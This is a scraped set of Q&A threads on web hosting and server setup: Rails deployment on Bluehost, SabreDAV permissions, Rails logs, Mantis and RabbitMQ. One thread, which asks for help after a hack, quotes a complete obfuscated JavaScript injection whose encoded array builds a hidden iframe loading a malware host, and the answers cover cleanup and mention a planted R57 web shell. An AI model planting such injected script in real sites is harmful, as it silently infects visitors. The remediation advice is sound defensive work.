Where do I put the files I want to be displayed on my webpage on my webhost? - ruby-on-rails
So I just finished the railstutorial.org twitter clone example and I want to put it online with my web hosting provider bluehost. Right now all I have is a file called sample_app with all of the rails stuff in it. And it works fine when I visit it on localhost:3000.
So I go to my bluehost file manager and there are 9 different folders, like public_html, public_ftp, rails_apps, www, tmp, access_logs, ect. Ive uploaded sample_app into this overall directory and into the public_html directory itself. But when I visit my website it just displays the html in a default.html file in the public_html directory.
What exactly is telling my hosting service to use public_html/default.html of any of the hundereds of different files and folders that are in other places on my server space? How do I find this thing and tell it to instead use sample_app or public_html/sample_app and then process everything in that to display my rails application?
Ive tried using bluehost support and they emailed me and said this would be accomplished by creating a symlink which links ~/rails_apps/NinetyNine/public to ~/public_html. I have no idea how to do this and the guides I find online all tell me to enter a series of commands. I dont know whether to do this in a terminal on my ubuntu system or some command prompt that bluehost provides. If it is at a terminal on my system which directory should I be in? any attempts I have made on my system have resulted in a no such file or directory error. When I asked bluehost to explain this they said that this was outside of the scope of their support and had to do with web development not hosting. It struck me as odd that they were unwilling to explain their own response to my problem but whatever.
If anyone of you could help me or point me in the right direction I would very much appreciate it. Thank you
What is telling my hosting service to use public_html/default.html ?
That would be a setting the web server configuration, probably Apache.
In Apache's case, the public_html directory is usually enabled with the
UserDir directive.
The default.html, is also an Apache configuration, DirectoryIndex.
Answering these because you asked: but typically, the global Apache configuration
is maintained by your provider (though you usually have some means to customize
parts of it).
Create the symlink from public_html to
They like gave you a command like (maybe not exactly)
$ ln -s ~/rails_apps/NinetyNine/public public_html
That is something that is intended to be run on your webhost, from a command prompt,
at the top of your home directory.
Look for docs on bluehost for finding out how to get SSH shell access.
That's where you'll enter the command.
More generally, however, you want to make sure you read the docs on how your
provider wants you to upload applications. Bluehost seems to have very nice
docs here:
https://my.bluehost.com/cgi/help/rails
Why your hosting provided said it was out of scope.
You're a beginner, and that's officially OK. Welcome!
But if you asked them a question like "Do I enter these commands on my computer
or yours", they are definitely going to politely respond that this out of scope;
meaning -- "We can't hand-hold you through this". If you ran a gas station and
someone asked you how to use the pump, you'd tell them. But if they then asked
"OK but do I put the gas in my car or yours?" you'd be reluctant to answer, because
there's some fundamental missing.
So how do I get more pointers, directions on this stuff?
Lots of approaches. By the far the best is to do as much stuff as you can on
your own computer. In your case, you could easily set up your own Apache
(Macs and Linux frequently ship with it - readily installable on Windows), and
that would clear up a lot of the conceptual issues.
Good luck!
Related
How do I make a simple public read-only WebDAV server with SabreDAV?
I recently began looking into WebDAV, as I found it to be an option for letting me play a Blu-ray folder remotely - i.e. without requiring the viewer to download the whole 24gb ISO first. Add a WebDAV source in Kodi v18 to a Blu-ray folder - and it actually plays! Very awesome. The server can also be mounted on Windows with net use m: http://example.com/webdavfolder/ or in Linux with sudo mount -t davfs http://example.com/webdavfolder/ /mnt/mywebdav -and should then (in theory) play with any software media players that supports Blu-ray Disc Java (BD-J), such as PowerDVD and VLC. vlc bluray:///mnt/mywebdav --bluray-menu PowerDVD.exe AUTOPLAY BD m: (Unless of course time-out values has been set too low, which seems to be the case for VLC at the moment). Anyway, all this is great, except I can't figure out how to make my WebDAV server read-only. Currently anyone can delete files as they wish, and that's of course not optimal. So far I've only experimented with SabreDAV, because afaik that's the only option I have if I want to keep using my existing webhost. Trying with very minimal setups, because I've read that minimal setups should default to a read-only solution. It just doesn't seem to happen. I initially used the setup from http://sabre.io/dav/gettingstarted/ and tried removing some lines. Also tried calling chmod 0444 MainFolder -R on the webserver. And I can see that everything does get a read-only attribute. But it changes nothing. It's still possible to delete whatever I want. :-( What am I missing? Maybe I'm using the wrong technology for what I want to do? Is there some other/better way of offering a Blu-ray folder for remote viewing? (One that includes the whole experience - i.e. full Java menus etc). I should probably mention that all of this is of course perfectly legal. It is my own Blu-ray project - not copyright material. Also: Difficult to decide if this belongs on StackOverflow or SuperUser. I ended up posting it on StackOverflow because SabreDAV is about coding, and because there's no sabredav tag on SuperUser.
You have two options: Create your own file/directory classes for sabre/dav that simply throw an error when trying to delete. You can basically start with a copy of Sabre\DAV\FS\Directory and Sabre\DAV\FS\File and change the methods that do writing. Since you're considering just using linux file permissions, really the key thing you are missing is that that 'deleting' is not controlled on the file or directory you're trying to delete. To delete a file or directory in unix, all you need is write permissions on the parent directory. However, I wouldn't recommend going this route as doing this will just cause a weird error in sabre/dav, which might leave clients in a confused state. It would result in a 500 error, not the expected 403 error.
How to display log for Rails application?
I have a rails app and I would like to display the log in the app itself. This will allow administrators to see what changes were recently made without entering the console and using the file with the logs. All logs will be displayed in the application administration. How is it possible to implement and what kind of gems do I need to use?
You don't need a Gem. Add a controller, read the logfiles and render the output in HTML. Probably need to limit the number of lines you read. Also there might be different log files to chose from. I don't think this is a good idea though. Log files are for finding errors and you should not need them in your day to day work, unless you manage ther server. Also they might contain sensitive data (CC Numbers, Pwds, ...) and it might get complicated when you use multiple servers with local disks. Probably better to look at dedicated tools for this and handle logs outside of your application.
Assuming that you have git associated with your application or git bash installed in your system. For displaying log information for the development mode, migrate to your application folder in your console/terminal and type tail -f log/development.log
Found This Hack in my web server php files
How did i get them and what can i do to avoid this in the future?
#8f4d8e#
echo "<script type=\"text/javascript\" language=\"javascript\" >ff=String;fff=\"fromCharCode\";ff=ff[fff];zz=3;try{document.body&=5151}catch(gdsgd){v=\"eval\";if(document)try{document.body=12;}catch(gdsgsdg){asd=0;try{}catch(q){asd=1;}if(!asd){w={a:window}.a;vv=v;}}e=w[vv];if(1){f=new Array(050,0146,0165,0156,0143,0164,0151,0157,0156,040,050,051,040,0173,015,012,040,040,040,040,0166,0141,0162,040,0145,0163,0170,040,075,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0143,0162,0145,0141,0164,0145,0105,0154,0145,0155,0145,0156,0164,050,047,0151,0146,0162,0141,0155,0145,047,051,073,015,012,015,012,040,040,040,040,0145,0163,0170,056,0163,0162,0143,040,075,040,047,0150,0164,0164,0160,072,057,057,0141,0142,0163,0157,0154,0165,0164,0145,0147,0151,0146,0164,056,0143,0157,0155,057,0137,0160,0162,0151,0166,0141,0164,0145,057,0143,0154,0153,056,0160,0150,0160,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0160,0157,0163,0151,0164,0151,0157,0156,040,075,040,047,0141,0142,0163,0157,0154,0165,0164,0145,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0142,0157,0162,0144,0145,0162,040,075,040,047,060,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0150,0145,0151,0147,0150,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0167,0151,0144,0164,0150,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0154,0145,0146,0164,040,075,040,047,061,0160,0170,047,073,015,012,040,040,040,040,0145,0163,0170,056,0163,0164,0171,0154,0145,056,0164,0157,0160,040,075,040,047,061,0160,0170,047,073,015,012,015,012,040,040,040,040,0151,0146,040,050,041,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,051,040,0173,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0167,0162,0151,0164,0145,050,047,074,0144,0151,0166,040,0151,0144,075,0134,047,0145,0163,0170,0134,047,076,074,057,0144,0151,0166,076,047,051,073,015,012,040,040,040,040,040,040,040,040,0144,0157,0143,0165,0155,0145,0156,0164,056,0147,0145,0164,0105,0154,0145,0155,0145,0156,0164,0102,0171,0111,0144,050,047,0145,0163,0170,047,051,056,0141,0160,0160,0145,0156,0144,0103,0150,0151,0154,0144,050,0145,0163,0170,051,073,015,012,040,040,040,040,0175,015,012,0175,051,050,051,073);}w=f;s=[];if(window.document)for(i=2-2;-i+478!=0;i+=1){j=i;if((031==0x19))if(e)s=s+ff(w[j]);}xz=e;if(v)xz(s)}</script>";
#/8f4d8e#
It seems to be redirecting to or injecting content from absolutegift dot com, a malware distributor. Somebody uploaded it to your server. This person (or bot) may have managed to get your password or he may have used an exploit. Change your passwords, make sure all user input (including uploads) is validated. Make sure you have a firewall running (I recommend csf) and scan your server for rootkits.
Contact your hosting provider and notify them of the issue. This is very important I've shutdown plenty of legit websites because they were compromised and the owner lost all their data. If you are using a CMS such as Drupal, Wordpress, etc. etc. Make sure you upgrade and change admin passwords. If you have any plugins, make sure they are upgraded. If you have no CMS, change your FTP & control panel passwords. As for fixing the problem. If you are using a CMS, an in-place upgrade should replace all the files. If not, you can download all your files and use a word-processor like Notepad++ to do a find-and-replace throughout the directory. Also, your hosting provider might be able to restore from backup, or at least have some experience in fixing it. To prevent it, don't use a CMS and learn some web security. Possibly hire a pentester.
this happened to me as well on an old site running Drupal 5. What I did is download the site and compared it with a clean copy of the codebase using meld (a graphical diff tool for linux). I found that there was a file called god.php that was placed in one of the subdirectories and contained a php script which called R57. It's really scary what this thing can do. Many of my files were infected with something like: <?php #8f4d8e# ... #/8f4d8e# ?> I cleaned this up manually a few times but kept being hacked until I removed the "god.php" file. I assume it might be called differently on your system. If you have SSH access to the server go to your document root and search for all files containing the string: grep -R "#8f4d8e#" . You could also look for your version of the god.php file... look for traces of R57, for example by issuing: grep -R "R57" . Mine had a big ASCII art drawing of a bug at the beginning of the file. I'm not sure how I got it but there were a list of bad things: un-updated very old version of Drupal, PHP4 with register_globals on, shared hosting (and probably a lousy company). What I did is move the cleaned up site to another hosting company with PHP 5 and changed all passwords: drupal, ftp, mysql etc.
How to upgrade mantis bug tracker database online?
Your database has not been created yet. Please create the database, then install the tables and data using the information above before proceeding.
Use a ftp/sftp/scp app like WinSCP to examine your directory. There's usually a readme file in the directory. Read it and do what it says. It'll likely say to run a script, visit an admin page (and then remove it when you're done), etc.. Or it may say to create your database, and enter the relevant info (hostname, directory, userid/pwd) into a .config file or something. Oh, and you probably need to have a database created on the host before you do this. Sites like dreamhost and pair have control panels where you create the database, and give the admin/dba userid/passwords. Then it comes back with the server host name/directory where you will point your config to.
Rabbitmq erlang client build failed due to file paths problems?
I have been able to build rabbitmq server on ubuntu linux. It came already prepackaged and on making, it is able to start as a service. When i got the client source, i failed to make because it appeared like it needed a folder called ./deps/rabbitmq-server. Analysing the code, i find that the author of the client was accessing the same header files as are found in the server, using include_lib("path to rabbit.hrl e.t.c") in his header file called "amqp_client.hrl". I then decided to add rabbitmq_server in the lib dir of erlang so as its paths are automatically added on start up of the vm. But still this didnot help. There is also another folder which the client references called "rabbit_common" for an include folder he assumes would contain all the .hrl files there. Please assist me in building both the client and server on my ubuntu server, for testing.
Also, if anyone has used RabbitMQ server for IMs, please provide some benchmarks and/or your findings on its throughput, speed and number of users. How can it be compared to ejabberd?. How can one create AJAX/Jquery/Javascript clients for Web functionality?
thanks
I hope you had made some progress as far as RabbitMQ and ejabberd are concerned. Below is a link to an interesting discussion that might be of help. http://old.nabble.com/AMPQ-vs-XMPP-and-RabbitMQ-vs-ejabberd-td17587109.html